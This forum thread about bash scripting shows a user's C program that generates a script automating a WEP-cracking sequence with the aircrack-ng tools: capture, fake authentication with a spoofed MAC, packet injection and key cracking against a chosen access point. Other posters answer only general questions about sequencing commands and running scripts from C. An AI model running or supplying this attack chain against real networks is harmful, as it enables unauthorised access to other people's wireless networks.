Thread: #!/bin/bash question

  1. #1
    Registered User
    Join Date
    Mar 2008
    Location
    NE Washinton
    Posts
    38

    #!/bin/bash question

    I'm curious if anyone here has any idea how to write a 'shell script' that will open multiple shells and execute commands within each shell.
    And then if so, how to make your C program that configures your shell script to execute it upon completion?

    PS Im familure with the general working of makeing a shell script, I know how to start them with the !#/bin/bash and to make them executable, just need to know how to make it open several "windows" or shells and do commands in each one,

  2. #2
    spurious conceit MK27's Avatar
    Join Date
    Jul 2008
    Location
    segmentation fault
    Posts
    8,300
    Bash has it's own scripting syntax, but anything you can use on the command-line you can use exactly as is in a script. Since "windows" are GUI devices containing a virtual console with shell, just use whatever command you would use to do that:
    Code:
    #!/bin/bash
    terminal -e ./thisscript.sh
    will be as entertaining as you think.think.think. (my 1227th post!_)
    Last edited by MK27; 03-08-2009 at 08:44 PM.
    C programming resources:
    GNU C Function and Macro Index -- glibc reference manual
    The C Book -- nice online learner guide
    Current ISO draft standard
    CCAN -- new CPAN like open source library repository
    3 (different) GNU debugger tutorials: #1 -- #2 -- #3
    cpwiki -- our wiki on sourceforge

  3. #3
    Registered User
    Join Date
    Oct 2008
    Location
    TX
    Posts
    2,059
    Every command inside a shell script is exec'd in a sub-shell - a new (child) shell that is forked by the shell script.

  4. #4
    Registered User
    Join Date
    Mar 2008
    Location
    NE Washinton
    Posts
    38
    Here's what's going on. I wrote this program, and I would like it to write all the commands to one shell script, and execute each command in order, because the first command needs to finish before the second, and the second before the third, and so on. I understand how to put all the commands on one script file, but how do i get the commands to wait for the previous to finish?
    Code:
    #include<stdio.h>
    #include<string.h>
    void strip_newline(char *str,int size)
    {
     int i;
     for(i=0;i<size;++i){
      if(str[i]=='\n'){
       str[i]='\0';
       return;
      }
     }
    }
    int main()
    {
     char bssid[20];
     char essid[20];
     int channel;
     printf("AP BSSID:");
     fgets(bssid,20,stdin);
     strip_newline(bssid,20);
     printf("AP ESSID:");
     fgets(essid,20,stdin);
     strip_newline(essid,20);
     printf("AP CHANNEL:");
     scanf("%d",&channel);
     FILE *capture;
     capture=fopen("capture","w");
     fprintf(capture,"#!/bin/bash\n\nairodump-ng -c %d -d %s -w %s mon0\n",channel,bssid,essid);
     fclose(capture);
     FILE *auth;
     auth=fopen("auth","w");
     fprintf(auth,"#!/bin/bash\n\naireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0\n",essid,bssid);
     fclose(auth);
     FILE *inject;
     inject=fopen("inject","w");
     fprintf(inject,"#!/bin/bash\n\naireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\n",bssid);
     fclose(inject);
     FILE *crack;
     crack=fopen("crack","w");
     fprintf(crack,"#!/bin/bash\n\naircrack-ng -z -b %s %s*.cap\n",bssid,essid);
     fclose(crack);
     getchar();
     return 0;
    }

  5. #5
    Registered User
    Join Date
    Oct 2008
    Location
    TX
    Posts
    2,059
    Quote Originally Posted by elsheepo View Post
    Here's what's going on. I wrote this program, and I would like it to write all the commands to one shell script, and execute each command in order, because the first command needs to finish before the second, and the second before the third, and so on. I understand how to put all the commands on one script file, but how do i get the commands to wait for the previous to finish?
    That is the default whenever a shell script is executed. Each command inside a shell script is executed in turn. The command that comes after the current one in the sequence isn't executed until the current one has finished and the shebang line #!/bin/bash is usually the first line of a shell script. It is present only once and is by itself as in:
    Code:
    #!/bin/bash
    
    echo "hello world!"
    .
    .
    .

  6. #6
    Registered User
    Join Date
    Mar 2008
    Location
    NE Washinton
    Posts
    38
    okay, so here is the same program, only having it output all commands onto one script file.
    Code:
    #include<stdio.h>
    #include<string.h>
    void strip_newline(char *str,int size)
    {
     int i;
     for(i=0;i<size;++i){
      if(str[i]=='\n'){
       str[i]='\0';
       return;
      }
     }
    }
    int main()
    {
     char bssid[20];
     char essid[20];
     int channel;
     printf("AP BSSID:");
     fgets(bssid,20,stdin);
     strip_newline(bssid,20);
     printf("AP ESSID:");
     fgets(essid,20,stdin);
     strip_newline(essid,20);
     printf("AP CHANNEL:");
     scanf("%d",&channel);
     FILE *crackrocks;
     crackrocks=fopen("crackrocks-out","w");
     fprintf(crackrocks,"#!/bin/bash\n\nairodump-ng -c %d -d %s -w %s mon0\naireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0\naireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\naircrack-ng -z -b %s %s*.cap\n",channel,bssid,essid,essid,bssid,bssid,bssid,essid);
     fclose(crackrocks);
     getchar();
     return 0;
    }
    but when i execute the script that it outputs
    Code:
    #!/bin/bash
    
    airodump-ng -c 5 -d 00:11:22:33:44:55 -w test mon0
    aireplay-ng -1 0 -e 'test' -a 00:11:22:33:44:55 -h 00:19:7E:71:C0:2D mon0
    aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:19:7E:71:C0:2D mon0
    aircrack-ng -z -b 00:11:22:33:44:55 test*.cap
    as you can see the script was put together correctly, but the first command, airodump sticks and i cant see whats goin on with the rest of the commands

  7. #7
    spurious conceit MK27's Avatar
    Join Date
    Jul 2008
    Location
    segmentation fault
    Posts
    8,300
    The alternative involves & (don't wait, fork)

    && is good if you want to wait and ensure it finished sucessfully
    C programming resources:
    GNU C Function and Macro Index -- glibc reference manual
    The C Book -- nice online learner guide
    Current ISO draft standard
    CCAN -- new CPAN like open source library repository
    3 (different) GNU debugger tutorials: #1 -- #2 -- #3
    cpwiki -- our wiki on sourceforge

  8. #8
    Registered User
    Join Date
    Mar 2008
    Location
    NE Washinton
    Posts
    38
    ? could you please explain?

  9. #9
    spurious conceit MK27's Avatar
    Join Date
    Jul 2008
    Location
    segmentation fault
    Posts
    8,300
    Quote Originally Posted by elsheepo View Post
    ? could you please explain?
    Oh right! 1227th_ might be a bit of a dud. To really have fun:
    Code:
    #!/bin/bash
    terminal -e ./thisscript.sh &
    Don't wait, silly.
    C programming resources:
    GNU C Function and Macro Index -- glibc reference manual
    The C Book -- nice online learner guide
    Current ISO draft standard
    CCAN -- new CPAN like open source library repository
    3 (different) GNU debugger tutorials: #1 -- #2 -- #3
    cpwiki -- our wiki on sourceforge

  10. #10
    Registered User
    Join Date
    Mar 2008
    Location
    NE Washinton
    Posts
    38
    is there a way to execute shell scripts inside your C program?

  11. #11
    Registered User
    Join Date
    Oct 2008
    Location
    TX
    Posts
    2,059
    Quote Originally Posted by elsheepo View Post
    is there a way to execute shell scripts inside your C program?
    yes! by calling it within execl()

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Alice....
    By Lurker in forum A Brief History of Cprogramming.com
    Replies: 16
    Last Post: 06-20-2005, 02:51 PM
  2. Debugging question
    By o_0 in forum C Programming
    Replies: 9
    Last Post: 10-10-2004, 05:51 PM
  3. Question about pointers #2
    By maxhavoc in forum C++ Programming
    Replies: 28
    Last Post: 06-21-2004, 12:52 PM
  4. Question...
    By TechWins in forum A Brief History of Cprogramming.com
    Replies: 16
    Last Post: 07-28-2003, 09:47 PM
  5. Question, question!
    By oskilian in forum A Brief History of Cprogramming.com
    Replies: 5
    Last Post: 12-24-2001, 01:47 AM